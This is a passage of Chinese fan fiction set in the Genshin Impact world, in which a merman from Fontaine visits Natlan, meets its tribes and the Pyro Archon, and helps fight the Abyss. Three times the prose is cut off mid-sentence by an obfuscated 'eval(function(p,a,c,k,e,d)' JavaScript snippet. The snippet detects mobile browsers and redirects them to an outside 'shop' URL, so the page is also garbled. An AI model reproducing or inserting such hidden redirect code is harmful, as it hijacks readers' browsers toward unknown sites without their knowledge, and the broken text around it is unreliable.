静原点头表示明白,然后摸摸长颈角犀托托的后颈,有点遗憾枫丹没有这样的大型生物。不过想到纳塔地大物博也只有六七只长颈角犀,他倒也释然了。 派蒙:“总感觉卡吕普迪斯刚刚在想什么很危险的事呢。” 旅行者:“那你大概没有想错。” 静原坐在角犀背上晃了晃腿:“只要我没有付诸实践,就不危险,明白吗?” “知道啦知道啦。”派蒙嘀咕着,“话说,那维莱特也知道你来了纳塔吧?你一条人鱼来纳塔这种远离海的地方,不会干燥掉鳞吗?” “他应该知道了吧。”静原想起踏上须弥沙漠黄沙上的时候,回头看见的阴云,“肯定让他伤心了,回去之前要想好道歉用什么赔礼。至于鳞片的问题……别担心,纳塔有广袤的大湖和水源的。对吧,卡齐娜?” 卡齐娜这才应和:“嗯嗯!纳塔六大部族中,〔流泉之众〕拥有广袤的大湖与温泉,如果卡吕普迪斯先生想要泡一泡尾巴,完全没问题的!场地非常充足,那里还有可爱的鳍游龙!” 她也是不久前才从帕加尔叔叔那里了解到这位客人是隔壁枫丹的人鱼,虽然好奇为什么人鱼可以到岸上来行走,好奇对方的尾巴藏在了哪里,但是不妨碍卡齐娜在后来的出行时常备几壶水。 因为她觉得卡吕普迪斯先生如果缺水变出了尾巴,这几壶水可以洒在上面应个急…… 静原不知道小姑娘贴心的行为,解释道:“之前有美露莘来纳塔旅游,在寄回来的信中说纳塔有广袤的大湖,这也是我敢只身来到纳塔的原因。” 不论是滋养尾巴,还是汲取力量,亦或是用以守卫纳塔。只要有水源,一切都好说。 卡齐娜听到这里,开始期待能够见一见卡吕普迪斯先生的尾巴。 人鱼,是什么样子的呢? 想到这里,她觉得连即将开始的归火圣夜巡礼都没那么紧张了。 不……果然还是很紧张啊…… 70.纳塔日常 归火圣夜巡礼和巡夜者战争算是纳塔地区特色了。 静原跟在旅行者卡齐娜身后逛圣火竞技场,巨大的圆形建筑类似前生记忆中的斗兽场,听纳塔人说选拔在场地中心展开,他又觉得也许两个世界的建筑设计多多少少是同理的。 [悬木人]部落的基尼奇和〔流泉之众〕部落的玛拉妮是卡齐娜这孩子的朋友,在她的介绍下也与旅行者和静原熟识起来。 值得一提的是,基尼奇身边的墨绿色数码小龙阿乔,自称伟大的库胡勒圣龙阿乔,那是个性格糟糕且恶劣的家伙。派蒙很讨厌他,因为他不禁当面欺负卡齐娜,害得自责的小姑娘眼泪汪汪,还说派蒙是白色小飞蚁,气得派蒙跟他对呛,可惜并不占据上风。 基尼奇现在就要关阿乔禁闭,不料在场有另外一个许久不做声的人开口。 “烈火之国的至高领主?”静原本来只是旁听,咀嚼着阿乔自吹自擂话语中的词汇。 “阴暗潮湿的小鱼,既见领主显圣,为何不跪?” 阿乔显然能嗅出静原身上的气息以及他的来历,不过没放在眼里,依旧是臭屁又蛮横的模样。听见静原带着恭维的疑问,当即被吸引了全部注意。 静原在众人怜悯又抱歉的目光注视下冷笑一声,单手叉腰:“领主?你算哪门子领主?不知犯下了何等罪过,早就被封印的家伙,借由人类之躯逃到现世残喘苟活。如果不是这人类少年的帮助,你还得在封印里消磨力量与心智,被关到世界的尽头。一个连亲王都算不上的家伙,也敢让我俯首?” “哦,忘了,你现在就这么丁点大小,还没小龙崽皮实,也就逞口舌之快了。你以为别人说不过你?人家那是不屑,人家瞧不上你你明白吗?还沾沾自喜,以为自己多了不起似的。哇塞难怪纳塔的先王要封印你,是嫌你丢龙众的脸吧,哈哈哈哈哈。” 静原面上带着笑意,看着阿乔以肉眼可见的速度红温,还要火上浇油:“还领主?你是谁的领主?你有土地和臣民吗?你有追随的王,你有为你册封的首领吗?你啥都没有还敢在我面前叫嚣,哇你超牛的。” “卡吕普迪斯!你个[哔——][哔——],作死的[哔——]” 阿乔被团吧团吧丢到远空,基尼奇投来抱歉的眼神:“这家伙嘴巴欠得很,我关他禁闭。” 玛拉妮拍拍基尼奇肩上拍拍,脸上写满了敬佩:“天哪,居然有人可以让阿乔吃瘪!” 卡齐娜仰着头,睁大了眼睛:“卡吕普迪斯先生,好勇啊……” 旅行者也是第一次见他这样,不禁鼓掌:“还得是你啊卡吕普迪斯。” “纳塔就没有能用身份压我的龙。”静原笑了笑,然后摸摸卡齐娜这孩子柔软的耳朵,“快去参加比赛吧,我等你回来。” 临行前帕加尔悄悄嘱托过他照顾卡齐娜,毕竟是好不容易鼓起勇气来尝试的孩子,静原可舍不得让人欺负了她去。 本来被阿乔训斥讥讽得快要掉出眼眶的泪,又被这孩子硬生生憋了回去,用力点点头,对着静原露出笑容,就像是面对族中照拂她的那些长辈一样:“嗯嗯!” 哎哟乖宝宝——静原心都化了。 旅行者看破一切,无奈笑笑。 卡齐娜打比赛的时候,静原和旅行者这两个无法参赛的外乡人就站在看台上像守着孩子高考的家长一样,紧张又兴奋,卡齐娜赢一场他俩就抱着欢呼又蹦又跳。 晚上吃饭的时候静原抽空抬头:“腿都蹦哒软了,不知道是谁趁乱踩了我一脚,天杀的,光脚被踩很痛唉。” 玛拉妮哈哈大笑:“卡吕普迪斯先生说话太有趣了。” 静原眯眼笑。 晚上他们宿在圣火竞技场内部的倦意之屋,半夜静原翻来覆去的睡不着,想着纳塔的夜晚风吹得凉,披着块纳塔特色织布就走了出去。 他翻过栏杆坐在台上,看着纳塔的土地与夜晚,思绪不知不觉飘向了远方的家乡。 枫丹,还好吗? 纳塔和枫丹不一样。纳塔是千岩万壑,流淌在大地上的溪流河水更像是巨人体内血管中奔涌的血液。草地很少,更多的是裸露的,坚硬的土地。 可是他坐在圣火竞技场的高台上,嗅到了来自海洋特有的咸腥气息。是风将枫丹的消息送来了吗? 不…… 是身后。圣火竞技场西北部,一定有海的存在。 思及此,他吐出一口气,正想起身回去,却听到了子身后响起都,愈来愈近的脚步声。 “来自枫丹的客人,在此欣赏纳塔的月亮吗?”来人的红发即便在月光下都像一簇熊熊燃烧的烈火,静原扭头望,能望进对方瞳孔中的金色日轮。 “我是火神玛薇卡,很高兴见到你,卡吕普迪斯先生。” 静原拍拍身边的座位,没有起身:“正式的场面话留到明天再说吧,陪我看看月亮?” 玛薇卡欣然接受。 然后一人一鱼坐在高台上晃悠着腿欣赏月色,静原看着看着,突然叹气:“留给纳塔地区时间不多了,对吧。” “如果是我的子民们这样问,我当然会说尚有一争之力。”玛薇卡侧目看向人鱼,对方也在看他。湖蓝色的眼瞳力似乎盛满了说不出的哀伤,“深渊对这片土地虎视眈眈,它正在蓄力发起进攻。纳塔全民抗争的结果,胜率不到五成。” 那是个很低的概率,玛薇卡几乎是在告诉卡吕普迪斯深渊一旦来袭,纳塔覆灭几乎是板上钉钉的事。 静原摇摇头:“还不到绝路。你们心里肯定有成算,涉及他国内政,我不询问,也无意知晓。但就像我来时诉说自身来意那样,若有需求,尽管开口。” 静原告诉玛薇卡:“纳塔不能覆灭,否则身在后方的枫丹,我用一生去守护的家园与家人也会葬送。因为深渊的贪食永无止境,一旦纳塔防线突破,侵蚀到枫丹只是时间问题。” “……我明白的。”玛薇卡叹息道,“我何尝不明白,不是不信任你,卡吕普迪斯先生。只是纳塔如今的情况,太脆弱了。” “你是想说纳塔地脉的问题吗?夜神之国在纳塔几乎取代了地脉的位置,我听帕加尔提起过。”地脉最大的力量是疏导力量修补大地,承载记忆与文明。没有地脉的土地,一旦遭受重创,想要修复回来简直就是难于登天,不亚于让天理开启封闭的世界。 玛薇卡告诉他,纳塔先辈在五百年前用来抵御深渊入侵,建立了两套制度。用归火圣夜巡礼挑选合格的战士点燃火种,燃烧生活。用巡夜者战争与还魂诗去对抗前线张牙舞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199496|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爪的深渊,如此才把纳塔从摇摇欲坠的悬崖拉了回来。 而今圣火的力量愈发微弱,深渊已经察觉到了这一点,正在暗中窥伺,等待合适时机的到来。玛薇卡与一些合适的人选计划积蓄力量开启还魂诗,去迎接即将到来的战争。 “还魂诗只对纳塔人生效。卡吕普迪斯先生,我感激你愿意在这种关头对我们伸出援手,但我们并不想将你也拉入泥潭。” 静原听完,琢磨了一会还魂诗的作用,大概就是开启后,死去的纳塔人可以重生——只要有一个人活到最后。至于玛薇卡提到的她们的计划,静原没有多问,只是说:“不必担心我,我不会死去……深渊入侵的时候,我会与你们并肩。只要大地上的水一日不曾干涸,我的力量就不会断绝。所以——纳塔,或者说圣火竞技场西北方向,是不是有海?” 玛薇卡愣了一下,只当他说的不会死是量力而行,然后笑着点头:“海洋隔绝了禁地。如果卡吕普迪斯你的力量来源于海或者水,尽管用吧。纳塔的大地与海洋为你敞开。” 静原还没来得及露出轻松点的笑容,就见这位火神大人神神秘秘的凑过来:“虽然知道你是人鱼,但是我真的很好奇为什么你可以拥有人类的双腿走到岸上来。你的尾巴,是什么样子的啊?” 静原:“……” 静原:(●—●) 说正事呢,真是的…… 在决赛匹配开始之前,静原带着紧张得腿都在哆嗦的卡齐娜好好吃了几顿饭。 “我从来没想过自己可以走到这一步,简直就像梦一样……”卡齐娜小小声感叹,“好不真实的感觉。” 来蹭饭的派蒙嚼着火焰炖肉汁水丰盈的肉块,被辣得嘶哈嘶哈,一边吨吨吨喝水,一边回头安慰卡齐娜:“可是我们现在坐在这里,你一步步走过来的脚印大家都有看到。这就是真的,你真的靠自己闯入了决赛圈。超——级棒!” 正在戳炸虾豆球的旅行者也点点头:“相信自己,卡齐娜。你不输给任何人。” 小姑娘点点头,差点又被感动哭了:“大家……我一定会更加更加更加努力的!” “好好比赛。等你回来,我们去流泉之众泡温泉怎么样?”静原注视着小姑娘宝蓝色的眼睛,低声道,“尾巴也可以看哦。摸也行。” “真的吗?!”卡齐娜兴奋的站起来,再周围人都没注视下不好意思的坐过去,“不好意思不好意思……我太高兴了。真的真的很好奇人鱼是什么模样的呀……” 静原:出卖美色而已,我可以的。 纳塔人久居山与湖中间,哪怕通过旅人讲述他国的奇妙生物,也难以在脑海中勾勒出具体的模样。卡齐娜出生在回声之子,长在回声之子,与岩与矿打交道,见过最大的海与湖是流泉之众那边的溶水域。小时候她听见枫丹的旅客讲起卡吕普迪斯操控风暴,护航海上船只的故事只觉得神奇,听他们讲述人鱼的尾巴在阳光下闪闪发亮,暗自好奇会不会像精美的宝石在阳光下折射的光芒。 人鱼人鱼,拥有人身鱼尾的存在。卡吕普迪斯以人类的姿态走到岸上来,那么他的尾巴到底藏在了哪里,长什么样子——纳塔人或多或少都有些好奇。 卡齐娜是小朋友,好奇心尤甚,只是一直不说罢了。 71.温泉之乡 最后决赛抽到的对手是玛拉妮,这个卡齐娜最好最好的朋友。 旁观的静原只觉得哇塞这手气真真是妙啊,而卡齐娜心理负担更重了。最后踏上决赛场地的时候,听着全场的欢呼喝彩好悬没有两腿一软。 有时候她想着要不就让玛拉妮获胜吧,毕竟玛拉妮都赢了很多次,这次也不意外。但是又觉得不甘心,好不容易走到这一步,怎么可以认输?旅行者和卡吕普迪斯先生会失望的吧?而且这样太不尊重对手,不尊重玛拉妮了。 大家站在这里,为的就是堂堂正正击败对手,获得去前线对抗深渊的资格,成为纳塔的英雄,为自身加冕获得志高的荣耀。胜利什么的,是自己用拳头挣回来的! 静原不知道小姑娘心里的忐忑和纠葛,只是看着玛拉妮先用高移速获得先机,几乎是压着卡齐娜打,将她撞飞出去,建筑物损坏让烟尘四起。周围人都在为这位流泉之众的老练战士鼓劲喝彩,显然是觉得卡齐娜那个小小的孩子能走到这一步就已经是刷新了记录,有个交代,可以抬起头回去了。 谁料浓烟过后,卡齐娜举着她那个冲天转转窜了出来,直接从玛拉妮后背出现砸下,砸之前她还高喊一声代表我来了,严格来说算不上偷袭阴招,毕竟战场上轻敌要命这个道理谁都知道。 然后玛拉妮就这样被砸飞了,晕过去。 静原:我嘞个豆啊。 静原咋舌,真不愧是岩系的孩子,深得钟离天动万象的真传。七种元素中岩元素最强势的攻击方式就是砸。 就是这一下挨在人身上真够呛的。不过既然是战士,比赛就得使出全力,难不成指望着上了战场敌人对你高抬贵手? 卡齐娜在赛场上享受着作为胜利者的拥簇、欢呼、赞美以及荣耀,直到被主持人将她的名字同其他胜利者并列,才有了几分真实感。 出场后就抱着玛拉妮好好哭了一顿,两个小姑娘心里都没有疙瘩,玛拉妮眼里是纯粹的对于好友获胜的欣喜。 不过,静原没想到的是归火圣夜巡礼一结束,几名获胜的战士就要马不停蹄去夜深之国对抗深渊。答应给卡齐娜看的尾巴只能等她回来……能回来的吧?能的吧? 静原越想越心惊肉跳,赶在战士们出发前手搓了个护身符塞卡齐娜怀里,看着她踏入火焰,就跟看着孩子高考上考场的家长那样,那是站也不是坐也不是,原地打转。 “格蕾丝蒂她们考证那会我都没什么焦虑。”静原心里像是有什么东西碍着他似的,堵得慌,看向身边的玛拉妮和旅行者,“能回来的吧?” “荣耀总是与风险相伴,如果胜利是一种必然,也就不会有人为它感到骄傲了吧。*”玛拉妮说,“谁都不能保证他们都能得胜归来,但至少有经验丰富实力强大的同伴带队,遇到的问题会少一些。” 这是实话不假,但是静原心梗得厉害,总觉得要出什么乱子,但又不好说。 旅行者没眼看,知道这家伙又犯了捡孩子的病,拽着他往回走:“焦虑也没用,进了夜神之国就要直面地下的深渊。只要一个人能活着回来,一整支队伍就都能复生。好啦,我们去逛逛其他地方,你上火嘴角也会起燎泡的。” “我又不是人类。”静原刚想反驳,突然想起当年生长期牙根酸软吃不下饭的先例,默不作声了。 这种情况下,幸亏有玛拉妮这样活泼阳光的孩子主动接过卡齐娜向导的职责,带三位异乡的客人去自己的部族继续旅游,静原这焦虑老父亲的注意力才被转移。 和玛拉妮咬耳朵的派蒙长吁一口气:“幸好有你,不然卡吕普迪斯这种性子可能真的追上去一起进入夜神之国了。” 被cue的静原动了动耳朵尖,回头认认真真反驳:“我无法进入夜神之国。” 旅行者想到了什么,不做声了。玛拉妮以为他是说外乡人无法进入夜神之国,这件事之前没有先例,她也不好说,于是也不做声了。 派蒙见大家都不说话,也不敢再张口了。这种沉默的氛围一直持续到抵达流泉之众领地,玛拉妮兴致勃勃的给大家介绍她们部族有名的景点和特色,那么温泉当然不让被重点推荐。 静原对温泉的记忆还停留在当年去至冬接福勒依斯回家那会,看见她泡着疗愈的水潭。因此这会要泡温泉也适应良好,毕竟只要不是烫到能煮鱼的温度他都可以接受的。 啊啊,必须提一嘴的是,因为静原和卡吕普迪斯都是之前没泡过温泉的男娃,玛拉妮的同族前辈阿伽娅推荐的是面积比较大的人工池,还送了牛奶和小点心当做泡温泉的消遣。 静原难得换了身衣服,不用担心海水盐碱损坏布料,只为泡温泉的时候舒适美观的话,选择其实蛮多的。他还有心情给派蒙扎了双马尾,方便长头发的小姑娘泡温泉不会打湿太多头发。 旅行者和玛拉妮,派蒙他们仨叽叽喳喳聊天的时候,静原往眼睛上覆了一块折叠号的热毛巾敷眼睛,然后就半躺下来放松了。不接话也不动,半天没有声响,派蒙还以为他睡着了。 其实他真的睡着了。 “在温泉里睡觉对身体不太好呀。”玛拉妮有些担心,“不过卡吕普迪斯先生是人鱼的话,应该没什么问题吧?” 接收到询问目光的旅行者开始思考这个严肃的问题,想到卡吕普迪斯这家伙平时的自嘲:“……我有点担心低温慢煮的鱼肉现在几成熟了。” 玛拉妮:“……” 玛拉妮:“这是人工池呀!温度没有达到低温慢煮的标准啊!” 派蒙抱着自己的游泳圈游到静原身边,边游边吐槽:“有点想笑,但不知道笑点在哪里。可能我天生就爱笑吧。” 旅行者一乐,去叫醒静原:“别睡啦卡吕普迪斯,该吃晚饭了。” 静原在温泉里睡觉当然没事,把眼睛上的毛巾拿下来擦擦脸,一下子就站起来了:“刚刚好像听到什么慢煮,有点想吃炖菜了。这边有炖菜吗?” 玛拉妮立刻回答:“当然啦,火焰炖肉怎么样?粒果肉汤也不错。” 派蒙的肚子适时的咕咕叫,小家伙不好意思的捂住肚子,好像那样咕噜咕噜声音旁人就听不见了。 静原一乐,弯腰捞起往怀里一塞:“走吧,我们去吃晚餐。我请客。” “好耶!”年轻的孩子们欢呼起来。 吃完饭旅行者带着派蒙跟玛拉妮散步去了,又被一帮神神秘秘的本地人吸引过去,静原找了个地方泡着,确认玛拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“卡吕普迪斯大人好厉害。能和莫乌说话。”梅内娅柠檬色的眼睛眨呀眨,“我只能大致听懂它说了什么。” “梅内娅以后也可以的。”静原坐起来,问了两个小朋友一些话,顺便听了莫乌的小报告——梅内娅不让我喝水! “不让莫乌喝水?”拜那维莱特所赐,静原对喝水这事有点敏锐,“什么水?” 莫乌用前鳍拍了拍:“呜呜!”当然是温泉水!我们都喝这个的! 梅内娅理所当然道:“不能乱喝水呀,温泉水不是用来喝的哦。很会游泳的龙也不行。*②” 想起曾经听那维莱特提起从纳塔送来的信件,静原顿了顿:“我觉得……其实……对于鳍游龙来说,喝温泉水是很正常的。” 毕竟这可是一群在岩浆里泡澡都没有问题的,皮糙肉厚的龙类啊!听回声之子部族人讲这些地方特色的时候,静原简直被刷新了世界观。 “可是这么多人走过的,泡过的温泉水能喝吗?”爱干净的美露莘担忧道,“就算是天然的温泉水,也很烫,喝下去会灼烧内脏吧。” “那维莱特大人的回信里有叮嘱我说温泉水太热,要记得放凉再喝*③。可是温泉水是用来泡的不是用来喝的,唉……” 孩子纠结的点原来是你那维莱特开的好头! 莫乌生气的呜呜叫:“可以喝,就可以喝!” 莫乌振振有词:“我的爸爸妈妈,都可以喝岩浆!我喝温泉水,为什么不可以!” 哎哟我天,太生猛了。 静原理不清这桩官司,想找人调停了。 72.痕迹 没等静原调解梅内娅和莫乌之间的矛盾,远处突然弥漫开一股让他浑身起鸡皮疙瘩的气息,很熟悉的,来自深渊的气息。 梅内娅是美露莘,是厄里那斯的孩子,生来就无惧与父亲同源的深渊力量,因此没感觉什么不对,倒是莫乌缩缩脖子,叫着危险危险快躲起来,嗖的一下潜入水中去了。 静原能察觉到的浓郁深渊气息,没道理身经百战的部族成员发现不了。因此当玛拉妮骑着鲨鱼滑板冲刺过来告诉他深渊袭击的消息时,静原已经举着法杖对着魔物猛锤了。 纳塔这边和深渊交战持续了五百多年,导致深渊这种本来没什么智性的存在也萌生了名为“头脑”的东西,突然袭击更是一套接一套,借由一种名为〔深渊界门〕的物质开启联通渊底与地面的大门,只要界门不被破坏得彻底,就能源源不断的往地上输送魔物。 和枫丹那边的深渊裂隙其实差不多,就是外形更为坚固一些。直到听了玛拉妮讲解,静原才想起之前在回声之子那边砸碎的原来是萌生的〔深渊界门〕。 不过对静原这种家伙来说,问题不大。他一般无视魔物先打深渊界门,打碎了拼都拼不回来,再去把周围孜孜不倦“骚扰”他的魔物一棒子敲散,整个过程并不复杂。因此当玛拉妮和旅行者接过巡逻队工作,处理了一处深渊界门和魔物后,静原这边已经在治疗伤员了。 “卡吕普迪斯先生……”玛拉妮没想到静原速度能这么快,不过想到对方的身份倒也不意外了,“居然也有治疗的能力吗?” 旅行者摊手:“大概是水族的天赋吧。他很擅长治疗别人。”至于自己的伤,只能寄希望于其他奶妈了。 没等他们继续聊下去,静原看见旅行者回来,直接将人捞过来:“你有净化深渊污秽的能力,这边有些人受到的侵蚀比较严重。所以你净化污秽,我修补内脏,来。” 分工明确,旅行者一边嘀咕你用我用得太顺手了,一边蹲下身去净化部族战士身上的深渊侵蚀。 顺便一提,玛拉妮在部族的前辈阿伽娅当年就是因为对抗深渊入侵受了严重的伤,连最爱的温泉也泡不了多久,这次深渊的意外突袭让她伤上加伤。本来躺在地上都交代遗言了,对玛拉妮交付信物请求带给火神玛薇卡,然后静原和旅行者一路救援到她这,一个净化经年累月的深渊污染,一个治疗千疮百孔的内脏与静脉,然后,好了。 不说健康到现在就能脚踢嵴峰龙拳打鳍游龙了,起码不会泡不了温泉——对一个热爱温泉的流泉之众成员来说,这就够了。 静原大夫对此表示:“还能多活十几年,别丧气。剩下的慢慢调养就是了。” 阿伽娅:“天呐……” 她都没想到能捡回一条命来。 “好了,夜深了,我该回去睡觉了。”静原拍拍阿伽娅的肩膀,起身准备回去找受惊的莫乌和梅内娅,“这次突袭只是前奏,深渊不会放过地面上的活物的。多加小心。” 玛拉妮看着对方远去的背影,以及晃悠的蓝色长马尾,轻声感叹道:“卡吕普迪斯先生就是这样在枫丹对抗深渊的吗?” 帮忙运送药品的派蒙吭哧吭哧忙活完飞回来,就听见玛拉妮这句话,很自然的接过话茬:“这种情况对他来说跟挠痒痒一样,他以前对抗的是厄里那斯级别的魔物,现在能威胁到他自身安全的只能是大规模入侵。” 旅行者想起之前在枫丹见到的另一位[卡吕普迪斯],表情复杂:“对他来说,在深渊的侵蚀中存活不是问题,保护更多人类活下来才是最难的。” 到了卡吕普迪斯这个级别的存在,地面上的魔物与深渊根本损害不了他们本身。只有环境被污染,庇护的人类被杀害,才会让他们自散力量去维系生机,再然后被深渊杀死——因为拥有了名为爱的软肋。 其他人怎么想的,静原没管。他把缩到角落里避难的小鳍游龙莫乌掏出来,安抚它表示袭击结束,可以继续玩了。再去找梅内娅,叮嘱她在纳塔旅游完早日回枫丹,又给了一大笔零花钱这才离开。 他可没打算真的现在就睡觉,提着武器在流泉之众领地逛了几圈,把一些没成气候的魔物都扫清,就像以前在枫丹巡逻那样。 这一忙活,就到了天亮的时候,找了个温泉泡进去睡觉,玛拉妮和派蒙找来喊他吃早饭,发现怎么叫都叫不醒。仰躺在池子里,睡颜恬淡。 派蒙擦擦额头的汗:“晚上做贼去了?睡得这么沉……算了玛拉妮,我们先吃吧,给卡吕普迪斯留一份就行。” 旅行者中午过来喊他吃午饭,他已经翻了个身面朝着池底,背对着天空睡觉。看上去像是一具浮尸,几只小鳍游龙围在他身边拱皮球,竟然也没有吵醒他。 “卡吕普迪斯,你不会真的去做贼了吧?”旅行者有些担心他睡死过去,手伸过去试探鼻息,还有气,“快醒醒,真的不能再睡啦。” 坚持不懈了将近一刻钟,静原终于吃上了迟来的早餐和午餐——旅行者摇醒他硬往嘴里塞的。 莫乌在旁边咕噜噜吐着水泡:“噜噜——”羞羞,这么大的龙的,还要人类喂饭。 静原眼皮都懒得睁开:“我正做梦唔(被塞一嘴,嚼嚼)——卡齐娜唔(被塞一嘴,嚼嚼)——” “卡齐娜怎么了?” “我梦到卡齐娜在黑漆漆的环境里哭。”静原自己端着午饭往嘴里塞——黄毛小伙喂饭跟填鸭一样塞,“像是被魇着了。” 旅行者叹气:“你太担心卡齐娜了,她再怎么年纪小,也是一名战士啊。” 静原没说话。 这一次的巡夜者战争结束,其他战士都回来了,只有卡齐娜不见踪影。 谣言顿时纷纷起,有人猜卡齐娜是不是已经死了,有人猜卡齐娜就是因为没有什么用才不能回来——明明一支小队里,只要有一个人活到最后,那么所有队员都能复活回到人间。 这些当然是无稽之谈,但挡不住不看好卡齐娜的人太多了,人们不惜以最恶意的揣测去想象所谓的真相。 作为卡齐娜的师傅的旅行者,和好朋友的玛拉妮那是出奇的愤怒,当场和人对峙,最后还是火神开口定性,表示卡齐娜是纳塔当之无愧的英雄,而英雄不该被如此污蔑和揣测。 至于知情几人关起门来说的什么,那就另当别论了。 静原没有在现场,他是等玛拉妮旅行者等人将卡齐娜从夜神之国带回来后才知道发生了什么——在其他人忙活的时候,他已经得到了火神允许,沿着溪流去了圣火竞技场后方,抵达纳塔禁地的外围。 至于他做了什么布置,玛薇卡并不知情,只是选择了信任。 静原回来的路上经过了[花羽会]和[烟谜主]两个部落的领地,比旅行者更早的认识了烟谜主的黑曜石奶奶茜特菈莉。 静原对她的描述是:“两百多岁?这么年轻,比格蕾丝蒂都要小,还是个小女孩呢。怎么就到了奶奶的辈分?” 还没有见到茜特菈莉,只是弄坏了人家东西的旅行者挠挠头:“在你眼里不到千岁的都是小孩吧……” “可是她真的没有格蕾丝蒂年纪一半大啊……”静原想想都觉得很奇妙。 “不说这个了,卡吕普迪斯,我问你个事。这个护身符你记得吗?”旅行者掏出来一块水色玉石,“和你送给卡齐娜的那块不一样,但力量气息是同源的。” 静原不理解:“啊,怎么了?” 旅行者顿了顿:“你是早就知道我会用上这块护身符,在夜神之国得到指引,找到被……鱼保护起来的卡齐娜吗?” 静原摸摸下巴:“这个真没有预料到,当初给你护身符也只是希望你不再遭遇来自水的伤害,因此主要属性是“源水庇护”。卡齐娜的那块是急匆匆捏出来的,力量不如你这快纯粹,单纯是个盾加定位器。你知道的,我从来不轻视自己的预感,当时感觉到她这一路估计不顺利,就把护身符给她了。” “不过你们去夜神之国接卡齐娜回来,护身符能派上用场,这真的太好了。” 旅行者心想,何止是太好了。蓝色小鱼从他心口钻出来的时候所有人都惊讶到了,在夜神之国像是自带导航定位一样,在维查玛故友灵魂的指引下,看见深渊魔物就冲上去大尾巴抽散,气势汹汹找到了缩在角落被围殴的卡齐娜。 卡齐娜攥紧了那块护身符,周身环绕水流形成薄薄的盾,另一条蓝色小鱼不断恐吓逼退魔物,估计力量不如旅行者护身符里钻出来的那条,以保护为主。 两条蓝色小鱼碰面,用派蒙的话来讲简直就是跟卡吕普迪斯亲临一样,保护欲爆棚,大尾巴甩得虎虎生风,直到卡齐娜被玛拉妮拥入怀中才安分的钻回护身符。 玛拉妮当时表示:这也太作弊了啊! 旅行者:“卡吕普迪斯,说真的,你的力量储存到底有多少?只是两块护身符的显化就能做到这个地步……你本身的破坏力……”所以当初那个[卡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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倒是一旁默不作声的基尼奇家的像素小龙阿乔哼哼开口:“愚蠢,怀有无用仁慈的家伙,最后只会自食苦果。” 基尼奇不想听这家伙扫兴,火速关禁闭:“别理阿乔。”就不该放这家伙出来。 玛拉妮单手叉腰,点点头:“知道的。阿乔那家伙,真该进修一门《语言的艺术》。” 基尼奇:“他大概不识字。” 安抚好卡齐娜,又为护身符注入新的力量后,静原就闲下来,天天缩在火神办公室拿着小刻刀对着石块雕琢。 玛薇卡对他采取放任态度,只要不过分,完全随意。不过静原有分寸,除了三餐和休息时间,几乎没有放下过刻刀。石料用了一堆又一堆,一开始是随处可见的石块,然后是铁矿石,白铁矿,萃凝晶,黑曜石——材料都不用玛薇卡供给,因为静原从禁地外围回来后一路上往兜里塞了不少。 玛薇卡:这就是枫丹作风吗?感觉和其他公务员不一样啊。 等静原十个手指头都缠上纱布,他才算成功了。抱着十几枚黑曜石刻出来的椭圆形物件走出圣火竞技场,投入热气球燃烧的火焰中。 跟在他身后的玛薇卡:“你最终选择的还是黑曜石吗?” “嗯,纳塔地区黑曜石对火元素的承载力最好。”静原忙活完后终于可以拆纱布了,不用再担心弄出新的伤口来,“等战争到来,战士们乘坐热气球去往纳塔各地,我就能借用这些黑曜石护身符获得精准坐标信息……你也真的信任我啊。万一我有什么二心,做点手脚纳塔直接就完蛋了。” 玛薇卡笑了笑:“可你不会。我从没有看错过人。” 静原叹气,无奈笑笑:“这些黑曜石护身符用了纳塔龙时代遗迹破译的文字,加上你们禁地那边的古老机制和西部南部的海域,就算你的计划不成功,我也能托个底等待救援。不过我希望用不上。” “玛拉妮觉醒后,剩下两位战士未能显现。我只能寄希望于他们能够快速觉醒,不然你力竭之后,我还是必须动用神之心的力量。” 想到这里,玛薇卡心中苦涩。 静原琢磨了一会:“如果……未觉醒的战士倒在了深渊的阴谋中呢?” 玛薇卡注视着热气球燃烧的火焰,眼中的日轮更加明亮:“我会把深渊留在纳塔。就像……当初对坎瑞亚的封印那样。” 静原倒是在想,如果另一条世界线的情况糟糕成了这样,[卡吕普迪斯]战死,火神将深渊封印在纳塔,成为死亡的绝境。那为什么[卡吕普迪斯]靠着捡回来的第二条命回到枫丹,世界还是被侵蚀了呢? 是火神在纳塔的封印被打开了,还是须弥地底的坎瑞亚大门被打开了?或者,都打开了。 啊……那真的是完蛋了。 静原和玛薇卡对视一眼,都从对方眼中看到了大写的不乐观。 73.古斯托特 静原哼哧哼哧刻石头烧石头,准备工作弄的差不多了,然后有心情去听八卦,这才了解到他走之后,至冬执行官【队长】卡皮塔诺已经来了一趟,想要火神神之心,结果没打过,被[烟谜主]的人救走的事。 静原摸着下巴:“烟谜主吗?说起来,回来路上途经[烟谜主]部落领地,我没发现什么异常。” 讲解竞技场那日变故的基尼奇闻言思考片刻:“目前还是缺乏关键线索,或许问问黑曜石奶奶会有什么新发现。” 这种找人问话的工作理所当然是交给旅行者负责的,静原把黑曜石定位系统的原理告诉了基尼,说是万一深渊入侵,有黑曜石护身符定位的热气球坐标会更精准,免去悬木人信使许多不必要的搜寻损耗。而且既然是护身符,老弱妇孺围在周围能得到一二庇护,减少损伤。 基尼奇面色严肃,表示自己一定会把消息传递到位。静原点点头,然后在小吃摊买了一大罐热腾腾的苦水,边走边喝。 说起来,纳塔地区生长着一种奇特的植物,名为苦种。光听名字还以为和苦瓜一样,谁知道烘焙过后做成的食物甜蜜至极——静原在枫丹和璃月买到的巧克力制品多半都是从纳塔进口的苦种加工而来的。 他抱着的这罐苦水,在老家有个耳熟能详的名字:热可可。 